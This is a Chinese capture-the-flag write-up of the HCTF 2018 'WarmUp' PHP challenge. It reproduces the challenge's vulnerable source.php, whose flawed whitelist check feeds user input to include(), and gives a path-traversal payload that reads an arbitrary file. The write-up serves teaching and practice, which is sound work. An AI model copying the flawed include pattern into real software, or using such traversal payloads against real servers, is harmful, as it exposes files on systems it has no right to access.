[HCTF 2018]WarmUp

发布时间 2023-10-31 17:40:03作者: imtaieee

访问题目如下。
image.png
在网页源代码中存在提示。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

访问 source.php ,得到 source.php 的源码。

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

可以看到,存在白名单,并且会出现将变量 $_REQUEST['file'] 拼接 ? 后截切的操作。访问 hint.php,提示 flag 位于 ffffllllaaaagggg。这里可以利用 include() 函数的路径穿越特点来包含 ffffllllaaaagggg 文件。
Payload/source.php?file=hint.php?/../../../../../../ffffllllaaaagggg
即程序截取 ? 后得到 hint.php,因此返回 True,而后 include("hint.php?/../../../../../../ffffllllaaaagggg");,在一些情况,这样的用法会导致 PHP 认为 hint.php? 是一个文件夹,因此最终导致了路径穿越,include../../../../../../ffffllllaaaagggg ,导致任意文件包含。